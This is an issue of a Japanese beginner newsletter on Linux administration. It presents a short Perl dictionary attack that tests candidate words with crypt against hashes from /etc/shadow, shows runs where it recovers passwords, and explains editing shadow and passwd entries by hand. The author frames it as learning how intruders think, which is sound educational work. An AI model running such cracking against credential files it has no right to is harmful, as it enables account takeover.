
|
[バックナンバーのトップへ] [Linux システム管理のトップへ] いますぐ実践! Linux システム管理 / Vol.112 / 読者数:1100名こんばんは、うすだです。 台風4号、あっという間に大暴れして過ぎ去っていきましたね。 ここ名古屋でも、台風の通過に備えていましたが、カメは大丈夫だろうと思って、 ベランダに出しっぱなしにしていました。
しかし、夜中になって、風がかなり強くなってきたので、ちょっと心配になり、
部屋の中へ水槽を入れることにしました。 台風というと、風にばかり注目してしまいがちですが、 雨もすごいんだなということが、よくわかりました。 まあ、カメが溺れ死ぬことはないと思いますが、 それでも早めに気づいてよかったと思います。カメは、いつも通り、 のんきにしていましたけど。 どうでもいい話が終わったところで、今週も、はりきってまいりますよ! 今週のお題 - パスワードを推測する先週は、 shadow ファイルのパスワード・フィールドに記述される文字の作成方法について、 ご紹介しました。
Vol.111 - パスワードの暗号化について理解する 今週は、一歩進んで、パスワードを推測してみたいと思います。 …え? それって、システム管理とどう関係があるの…? という疑問を持たれた貴兄も多いのではないかと思いますが、いやいや、 侵入される側としましては、侵入する側の行動を推測することで、 侵入に備えることができると思うのです。 そんなこじつけっぽい理由に納得されたかたも、 技術的に興味を持たれただけのかたも、楽しんでいただけますと幸いです。 とはいえ、あくまで初心者向けのメルマガを謳ってますから、 難しい方法をご紹介するわけにはいきません。(わたし自身詳しくありませんし。) ですので、以降では、侵入を試みるサーバの /etc/shadow が手元にあると仮定して、 パスワード・フィールドが一致するパスワードを捜し当てるという、 地道かつ力業な方法で、パスワードを見つけてみようと思います。 まずは、前回もご紹介した、パスワード・フィールドの求め方を、 ここでおさらいしておきましょう。 ひとことで済ませてしまいますと、crypt という関数で作成できます。 char *crypt(const char *key, const char *salt); 生のパスワードである key と、 結果が一意にならないようにするための salt を引数に指定すると、 暗号化された文字列が得られます。 salt に、先頭が $1$ ではじまる文字列(8文字まで)を指定しますと、 MD5 で暗号化してくれます。 そうでない2文字を指定しますと、DES で暗号化してくれます。 前回ご紹介した makepasswd.pl というスクリプトの実行結果を、以下に示します。 (1つ目の引数が生パスワード、2つ目が salt です。) % ./makepasswd.pl himitsu '$1$abcdefgh' $1$abcdefgh$elthZDKF7958/mgl.dsRr1 % ./makepasswd.pl himitsu NO NOUXymID1zFK. 生成された文字列の先頭に、salt がそのまま入るところがミソですね。 さて、ここで、shadow ファイルが手元にある、 つまり暗号化されたものがわかっているとして、 パスワードを推測してみたいと思います。 ようは、パスワードの候補を、片っ端から crypt で変換していき、 それが暗号化された文字列と一致すれば、 それが生のパスワードだということになります。よね。 そんな力業を行うスクリプトを、Perl でちゃちゃっと書いてみました。
#!/usr/bin/perl
if($#ARGV < 0 || $#ARGV > 2) {
print STDERR "Usage: $0 username [encrypted_passwd]\n";
exit 1;
}
my $name = shift;
my $crypted = ($#ARGV < 0) ? (getpwnam($name))[1]:shift;
if($crypted eq "x") {
print STDERR "Cannot get password.\n";
exit 2;
}
while(<>) {
chop;
if(crypt($_, $crypted) eq $crypted) {
print "${name}'s password: $_\n";
exit 0;
}
}
print "Cannot found...\n";
3;
引数に、ユーザ名だけを指定すると、そのマシンのユーザのパスワードを推測します。 ユーザ名だけでなく、暗号化されたパスワードも引数に指定すると、 暗号化されたパスワードの元になる生パスワードを推測します。
ユーザ名は、$name という変数に、
暗号化されたパスワードは $crypted という変数に格納します。 あとは、標準入力からパスワードの候補を得て、順番に crypt で試していくだけです。 見つかったら、生パスワードを出力して終了します。
なにはともあれ、実行してみましょう。 # ./searchpasswd.pl test < /usr/share/dict/words test's password: chestnut
ああ、簡単にばれてしまいました。 root の権限を得られないひとは、自作自演で我慢しましょう。 % ./makepasswd.pl architect '$1$01234567' $1$01234567$WT4E.pY2L4lgi6WRUi6j1 % ./searchpasswd.pl test '$1$01234567$WT4E.pY2L4lgi6WRUi6j1' \ < /usr/share/dict/words test's password: architect もちろん、/usr/share/dict/words にないパスワードは、さすがに見つけられません。 % grep himitsu /usr/share/dict/words % ./makepasswd.pl himitsu NO NOUXymID1zFK. % ./searchpasswd.pl test 'NOUXymID1zFK.' < /usr/share/dict/words Cannot found... 以上、パスワードを推測するための、超簡単な方法をご紹介しました。 ご紹介したスクリプトは、ものすごくたいしたことないですが、それでもやっぱり、 悪いことには使わないようにしていただきたいと存じます。 実際には、辞書にある言葉をそのままパスワードにしている、 なんてことはないはずですので、力業で見つけるには、 もうちょいひねる必要があると思います。(この話題は、宿題へと続きます。) 宿題の答え先週の宿題は、 /etc/shadow を直接書き換えて、パスワードを変更してみましょう。 でした。
まず、vi 等のエディタで直接変更する際に、注意することがあります。
それを回避するためのコマンドに、vipw なるものがあります。 # vipw & # vipw vipw: そのファイル password は使用中です (現在は /etc/ptmp)
さて、vipw を起動しますと、/etc/passwd の編集画面になるのですが、
変更したふりをすると(1文字消して同じ文字を書く等)、
/etc/shadow も編集を行うか聞いてきます。
そこですかさず y と答えてください。 管理者はわしひとりじゃい! とか、 お試し環境なのでどうなってもいいよという場合は、 普通のエディタでやっちゃってください。
…おっと、前置きが長くなりました。本題に入りましょう。 まずは、先週の Perl スクリプトを使用して、 パスワード・フィールドに書くものを求めます。 % ./makepasswd.pl test1 '$1$abcdefgh$' $1$abcdefgh$m0INEKWW1jrRTfpNdto3a/
パスワードは test1 です。 test:!!:13476:::::: などとなっている行を、以下のように書き換えます。 test:$1$abcdefgh$m0INEKWW1jrRTfpNdto3a/:13476::::::
…それだけです。
ちなみに、上記パスワードは、/etc/passwd に直接書いても、有効です。 test:x:101:99::/home/test:/bin/sh などとなっている行を、以下のように書き換えます。 test:$1$abcdefgh$m0INEKWW1jrRTfpNdto3a/:101:99::/home/test:/bin/sh /etc/passwd のほうが有効であることを確認するために、 /etc/shadow のパスワード・フィールドを x にしておくと、はっきりわかります。
さらにちなみに、パスワード・フィールドの先頭に、 * などの関係のない文字を挿入しますと、ログイン等ができなくなります。 test:*$1$abcdefgh$m0INEKWW1jrRTfpNdto3a/:101:99::/home/test:/bin/sh 一時的に使えなくしたいとき(あとで復活させたいとき)などに、便利かもしれません。 今週の宿題今週の宿題は、 パスワードの推測を、もっと複雑にしてみましょう。 です。
/usr/share/dict/words の言葉だけでは、ほとんど一致しないはずです。 悪用するなと言っておきながら、この宿題はいかがなものか、という気もしますので、 あくまでも、技術的な観点のみで考えてくださいませ。 あとがき前々から、情報過多と言われているこの世の中ですが、それでも、 情報は多いほうがいいと思い、いろんなメルマガを購読していました。 ですが、ここのところ、あまりにも斜めな斜め読みをしているなと思い、 思い切って、ごっそり減らしてみることにしました。 しかし、言うはやすしとかなんとかで、実際やってみると、けっこう大変でした。 まぐまぐから発行されているメルマガは、一括解除できるから楽なのですが、 独自配信しているところは、ひとつずつ解除しないといけません。 しかも、メールアドレスを書いてぽちっと解除ボタンを押すだけ、 にしてくれればいいのに、ログインが必要だったり、 パスワードが必要だったりしたのには、ああもうって感じでした。 これからは、このサイトにメールアドレスを教えてもいいか、 本当にこのメルマガは読むに値するか、といったことをじっくり考えてから、 登録をしようと思います。
結局、流行りの技術やキーワードを知っていても、自らの手で実践して、
自分のモノにしない限りは、あまり意味がないですよね。
というわけで、みなさんもこれを機会に、
購読しているメルマガの整理をしてみてはいかがでしょうか。
今週も、ここまで読んでいただき、ありがとうございました。
「いますぐ実践! Linux システム管理」の解除は、以下からできます。
バックナンバーは、こちらにほぼ全部そろっています。
「栗日記」−栗の絵しか描いていません。 |
▼ トップ ▼ プロフィール ▼ リンク
▼ 作ってみました
▼ せんでん
▼ 最近読んだ本 [X]
「センネン画報」 今日 マチ子「粟津潔 デザインする言葉」 粟津潔 「Binary Hacks」 高林 哲,鵜飼 文敏,佐藤 祐介,浜地 慎一郎,首藤 一幸 「Make: Volume01」 オライリー・ジャパン 「セーラが町にやってきた」 清野 由実 「手紙屋」 喜多川 泰 「Linuxカーネル2.6解読室」 高橋 浩和,小田 逸郎,山幡 為佐久 「人蕩し術」 無能 唱元 「子育てハッピーアドバイス2」 明橋 大二, 太田 知子 「ラッセル幸福論」 B. Russell 「それでも人生にイエスと言う」 Viktor Emil Frankl 「子育てハッピーアドバイス」 明橋 大二, 太田 知子 「考具」 加藤 昌治 「北欧デザイン<3>」 渡部 千春 「北斎の謎を解く」 諏訪 春雄 「体感美術館」 平野 暁臣 「チベット永遠の書」 Theodore Illion 「リナックスの革命」 Pekka Himanen 「人月の神話」 Frederick Phillips,Jr. Brooks 「ヤバい経済学」 Steven D. Levitt, Stephen J. Dubner 「小布施ッション<2001-2002>」 セーラ・マリ カミングス 「アンパンマン伝説」 やなせ たかし 「夢をかなえるゾウ」 水野 敬也 「ゲーム開発者のためのAI入門」 David M. Bourg, Glenn Seemann 「北欧デザイン<2>」 渡部 千春 「北欧デザイン<1>」 渡部 千春 「ヒューマン2.0」 渡辺 千賀 「中国・ロシア同盟がアメリカを滅ぼす日」 北野 幸伯 「超ロング・セラー 絶滅寸前商品」 湯浅 豊彦 「The BUG(ザ・バグ)」 すずき ひろのぶ,かとう みつあき 「デザインのデザイン」 原 研哉 「マキアヴェッリ語録」 塩野 七生 「ハンバーガーを待つ3分間の値段」 斎藤 由多加 「星の旅人-スペイン「奥の細道」-」 黛 まどか 「食品の裏側」 安部 司 「On Lisp」 Paul Graham 「ぼくが医者をやめた理由 つづき」 永井 明 「あなたならどうする?」 Jack Nikolaschka 「セキュアプログラミング−失敗から学ぶ設計・実装・運用・管理」 Mark G. Graff, Kenneth R. van Wyk 「「左利き」は天才?−利き手をめぐる脳と進化の謎」 David Wolman 「自分の中に毒を持て」 岡本 太郎 「アトピーの薬を減らす本」 田中 貴子 「岡本太郎「明日の神話」修復960日間の記録」 吉村 絵美留 「X51.ORG THE ODYSSEY」 佐藤 健寿 「アレルギーっ子の暮らし応援BOOK」 佐藤 のり子 「沖縄文化論」 岡本 太郎 「「伝説の社員」になれ!」 土井 英司 「コンピュータの構成と設計(上)」 Patterson & Hennessy 「カラスのジョンソン」 明川 哲也 「ドリルを売るには穴を売れ」 佐藤 義典 「頭がよくなる照明術」 結城 未来 「クロフォードのインタラクティブデザイン論」 Chris Crawford 「いじめの根を絶ち子どもを守るガイド」 Barbara Coloroso 「非常識のすすめ―逆発想の仏教論」 ひろさちや 「Linuxアドバンストネットワーク構築ガイド - HAサーバ構築編」 デージーネット 「イノベーションの達人!」 Tom Kelly, Jonathan Littman 「クリエーター50人が語る創造の原点」 小原 啓渡 「欺術 - 史上最強のハッカーが明かす禁断の技法」 Kevin Mitnick 「楽しい気象観察図鑑」 武田 康男 「入門 Ajax」 高橋 登史朗 「リリカルな自画像」 岡本 太郎 「やぎの目ゴールデンベスト」 林 雄司 「初めてのPython 第2版」 Mark Lutz,David Ascher 「鼻兎」 小林 賢太郎 「なぜ、これがアートなの?」 Amelia Arenas 「芸術起業論」 村上 隆 「まほう色の瞳」 Enrique Barrios 「ラーメンズつくるひとデコ」 ラーメンズ 「R25 つきぬけた男たち」 R25編集部 「美の呪力」 岡本 太郎 「しろのあお」 上大岡 トメ 「ザ・ゴール」 Eliyahu M. Goldratt 「ハッカーと画家」 Paul Graham 「岡本太郎に乾杯」 岡本 敏子 「Fedore Core Expert」 Software Design 「誰も知らない男」 ブルース・バートン 「子どもが育つ魔法の言葉」 ドロシー・ロー・ノルト 「国家の罠」 佐藤 優 「夜回り先生」 水谷 修 「やぎの目絵日記」 林 雄司 「7つの習慣」 スティーブン・R. コヴィー 「まろ、ん?−大掴源氏物語」 小泉 吉宏 「ザ・サーチ グーグルが世界を変えた」 ジョン・バッテル 「ポストモダン・マーケティング」 スティーブン ブラウン 「機動戦士ガンダムさん」 大和田 秀樹 「小エロのひみつ - Webやぎの目研究発表」 林 雄司 「これ、誰がデザインしたの?」 渡部千春 「60分間・企業ダントツ化プロジェクト」 神田 昌典 「ガルシアへの手紙」 エルバート ハバード 「人生は素晴らしいものだ」 オグ・マンディーノ 「ザ・マインドマップ」 トニー・ブザン,バリー・ブザン 「ワインバーグのシステム思考法」 G.M.ワインバーグ 「渋谷ではたらく社長の告白」 藤田 晋 「渋井真帆の日経新聞読みこなし隊」 渋井 真帆 「コラム息切れ」 小野 法師丸 「早朝起業」 松山 真之介 「変な人が書いた驚くほどツイてる話」 斎藤 一人 「35歳から仕事で大切にしたいこと」 村井 勉 「金融広告を読め」 吉本 佳生 「発想する会社!」 トム・ケリー,ジョナサン・リットマン 「エハイク」 吉田 戦車 「人生の旋律」 神田 昌典 「仕事の思想」 田坂 広志 「CPUの創りかた」 渡波 郁 「非常識な成功法則」 神田 昌典 …これ以前は記録してません…
▼ 気に入ってる本
| ||||||||||||||||||||||||||||||||||||||||